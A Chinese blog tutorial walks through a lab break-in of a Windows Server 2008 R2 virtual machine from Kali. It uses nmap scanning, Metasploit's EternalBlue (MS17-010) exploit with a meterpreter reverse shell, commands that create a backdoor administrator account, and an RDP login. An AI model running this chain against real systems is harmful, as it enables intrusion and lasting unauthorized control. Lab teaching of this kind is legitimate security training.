渗透测试：metasploit+ms-17-010+Windows2008r2

「爱情、让人受尽委屈。」 2024-04-17 21:59 73阅读 0赞

# 渗透测试：metasploit+ms-17-010+Windows2008r2 #

## 工具 ##

### 1 vbox ###

### 2 kali ###

### 3 win2008r2 ###

## 最终效果 ##

![\[外链图片转存失败(img-GChxhmUN-1567346052539)(\[外链图片转存失败(img-j2OBTJZA-1567346183469)(https://i.imgur.com/DCXVcYL.png)\])\]][img-GChxhmUN-1567346052539_img-j2OBTJZA-1567346183469_https_i.imgur.com_DCXVcYL.png]

创建一个属于Administrators组的用户admin，并使用admin账户进入系统。

## 实现步骤 ##

### 1 使用netdiscover 探测局域网内的主机，目的是发现需要渗透的主机 ###

![\[外链图片转存失败(img-HKfBdW5L-1567346052550)(https://i.imgur.com/PnUcp26.png)\]][img-HKfBdW5L-1567346052550_https_i.imgur.com_PnUcp26.png]

现在我们发现了3台主机。

### 2 使用nmap进行扫描 ###

nmap基本功能有三个

（1）是扫描主机端口，嗅探所提供的网络服务

（2）是探测一组主机是否在线

（3）还可以推断主机所用的操作系统，到达主机经过的路由，系统已开放端口的软件版本

nmap 扫描连续的IP地址的方法是使用“-”将主机位的第一位和最后一位接起来。  
![\[外链图片转存失败(img-XcbwGKsW-1567346052550)(https://i.imgur.com/9pcutXo.png)\]][img-XcbwGKsW-1567346052550_https_i.imgur.com_9pcutXo.png]

这里我们可以看到192.168.1.4这台主机开放了3389端口，3389端口是一个远程桌面的服务端口，如果连接上了，输入系统管理员的用户名和密码后，将变得可以像操作本机一样操作远程的电脑，因此远程服务器一般都将这个端口修改数值或者关闭。

这个功能在后续的环节有用。

### 3 测试环境 ###

攻击机：kali

ip：192.168.1.5

靶机：win2008r2

ip:192.168.1.4

### 4 使用metasploit的ms-17-010 payload ###

#### 1 metasploit 主界面 ####

![\[外链图片转存失败(img-hOINAnrp-1567346052552)(https://i.imgur.com/BDRJowZ.png)\]][img-hOINAnrp-1567346052552_https_i.imgur.com_BDRJowZ.png]

#### 2 搜索ms17\_010 ####

![\[外链图片转存失败(img-HY9hKMPQ-1567346052554)(https://i.imgur.com/wZbpPNI.png)\]][img-HY9hKMPQ-1567346052554_https_i.imgur.com_wZbpPNI.png]

search ms17_010

选择第3 个

# 3  
    name : exploit/windows/smb/ms17_010_eternalblue
    disclosure date : 2017-03-14   
    rank : average  
    check : No 
    description : MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

#### 3 调用模块 exploit/windows/smb/ms17\_010\_eternalblue及配置payload ####

use exploit/windows/smb/ms17_010_eternalblue

查看模块需要设置的

show options

![\[外链图片转存失败(img-Y48OvuS2-1567346052555)(https://i.imgur.com/pnAggwp.png)\]][img-Y48OvuS2-1567346052555_https_i.imgur.com_pnAggwp.png]

msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.1.5
    rhosts => 192.168.1.5
    msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
    payload => windows/x64/meterpreter/reverse_tcp
    msf5 exploit(windows/smb/ms17_010_eternalblue) > show options

设置目标IP地址及选择payload，查看payload要求  
![\[外链图片转存失败(img-0UvyUpSl-1567346052558)(https://i.imgur.com/Ft3NDqB.png)\]][img-0UvyUpSl-1567346052558_https_i.imgur.com_Ft3NDqB.png]  
payload 要求设置监听主机，这里写本地kali的ip地址

set lhost 192.168.1.4

最后再查看一下设置

show options

![\[外链图片转存失败(img-5vwqLgZx-1567346052562)(https://i.imgur.com/LiIsJUW.png)\]][img-5vwqLgZx-1567346052562_https_i.imgur.com_LiIsJUW.png]

#### 4 开始攻击 ####

exploit

![\[外链图片转存失败(img-vF0NbeIY-1567346052568)(https://i.imgur.com/JSulYsd.png)\]][img-vF0NbeIY-1567346052568_https_i.imgur.com_JSulYsd.png]

发现是因为把本地kali ip与 远程win2008的ip弄混了  
重新设置一下

msf5 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.1.5
    lhost => 192.168.1.5
    msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.1.4
    rhost => 192.168.1.4

再次进行攻击

![\[外链图片转存失败(img-Q55bI4Rg-1567346052572)(https://i.imgur.com/LSXIrSx.png)\]][img-Q55bI4Rg-1567346052572_https_i.imgur.com_LSXIrSx.png]

\#\#\#\#５ 进shell提权

shell

![\[外链图片转存失败(img-DFSwnDlQ-1567346052575)(https://i.imgur.com/03jQJUi.png)\]][img-DFSwnDlQ-1567346052575_https_i.imgur.com_03jQJUi.png]

添加用户并将用户加入管理组

然后使用windos cmd命令进行创建用户并加入管理员组

net user qwer asdf123! /add

注意密码要符合复杂性要求

net local group Administrators qwer /add

把admin用户加入本地管理员组

![\[外链图片转存失败(img-QJxbZl6y-1567346052576)(https://i.imgur.com/pEiXvtM.png)\]][img-QJxbZl6y-1567346052576_https_i.imgur.com_pEiXvtM.png]

#### 6 远程桌面连接登录 ####

这里之前的3389端口可以用到了

![\[外链图片转存失败(img-etKp7Psm-1567346052578)(https://i.imgur.com/OMKTtNz.png)\]][img-etKp7Psm-1567346052578_https_i.imgur.com_OMKTtNz.png]

使用创建的qwer用户进行登录  
![\[外链图片转存失败(img-UocTw9bj-1567346052579)(https://i.imgur.com/SAlNUE0.png)\]][img-UocTw9bj-1567346052579_https_i.imgur.com_SAlNUE0.png]

登录成功

![\[外链图片转存失败(img-lEmgahgj-1567346052582)(https://i.imgur.com/3cGhz0Q.png)\]][img-lEmgahgj-1567346052582_https_i.imgur.com_3cGhz0Q.png]

[img-GChxhmUN-1567346052539_img-j2OBTJZA-1567346183469_https_i.imgur.com_DCXVcYL.png]: https://img-blog.csdnimg.cn/20190901215651456.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2ODEzODU3,size_16,color_FFFFFF,t_70
[img-HKfBdW5L-1567346052550_https_i.imgur.com_PnUcp26.png]: https://img-blog.csdnimg.cn/20190901215727109.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2ODEzODU3,size_16,color_FFFFFF,t_70
[img-XcbwGKsW-1567346052550_https_i.imgur.com_9pcutXo.png]: https://img-blog.csdnimg.cn/20190901215751331.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2ODEzODU3,size_16,color_FFFFFF,t_70
[img-hOINAnrp-1567346052552_https_i.imgur.com_BDRJowZ.png]: https://img-blog.csdnimg.cn/20190901215814776.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2ODEzODU3,size_16,color_FFFFFF,t_70
[img-HY9hKMPQ-1567346052554_https_i.imgur.com_wZbpPNI.png]: https://img-blog.csdnimg.cn/20190901215849859.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2ODEzODU3,size_16,color_FFFFFF,t_70
[img-Y48OvuS2-1567346052555_https_i.imgur.com_pnAggwp.png]: https://img-blog.csdnimg.cn/20190901215924302.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2ODEzODU3,size_16,color_FFFFFF,t_70
[img-0UvyUpSl-1567346052558_https_i.imgur.com_Ft3NDqB.png]: https://img-blog.csdnimg.cn/20190901215958478.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2ODEzODU3,size_16,color_FFFFFF,t_70
[img-5vwqLgZx-1567346052562_https_i.imgur.com_LiIsJUW.png]: https://img-blog.csdnimg.cn/2019090122002469.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2ODEzODU3,size_16,color_FFFFFF,t_70
[img-vF0NbeIY-1567346052568_https_i.imgur.com_JSulYsd.png]: https://img-blog.csdnimg.cn/20190901220109144.PNG
[img-Q55bI4Rg-1567346052572_https_i.imgur.com_LSXIrSx.png]: https://img-blog.csdnimg.cn/20190901220141285.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2ODEzODU3,size_16,color_FFFFFF,t_70
[img-DFSwnDlQ-1567346052575_https_i.imgur.com_03jQJUi.png]: https://img-blog.csdnimg.cn/20190901220205985.PNG
[img-QJxbZl6y-1567346052576_https_i.imgur.com_pEiXvtM.png]: https://img-blog.csdnimg.cn/20190901220228226.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2ODEzODU3,size_16,color_FFFFFF,t_70
[img-etKp7Psm-1567346052578_https_i.imgur.com_OMKTtNz.png]: https://img-blog.csdnimg.cn/20190901220253468.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2ODEzODU3,size_16,color_FFFFFF,t_70
[img-UocTw9bj-1567346052579_https_i.imgur.com_SAlNUE0.png]: https://img-blog.csdnimg.cn/2019090122031760.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2ODEzODU3,size_16,color_FFFFFF,t_70
[img-lEmgahgj-1567346052582_https_i.imgur.com_3cGhz0Q.png]: https://img-blog.csdnimg.cn/20190901220336947.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2ODEzODU3,size_16,color_FFFFFF,t_70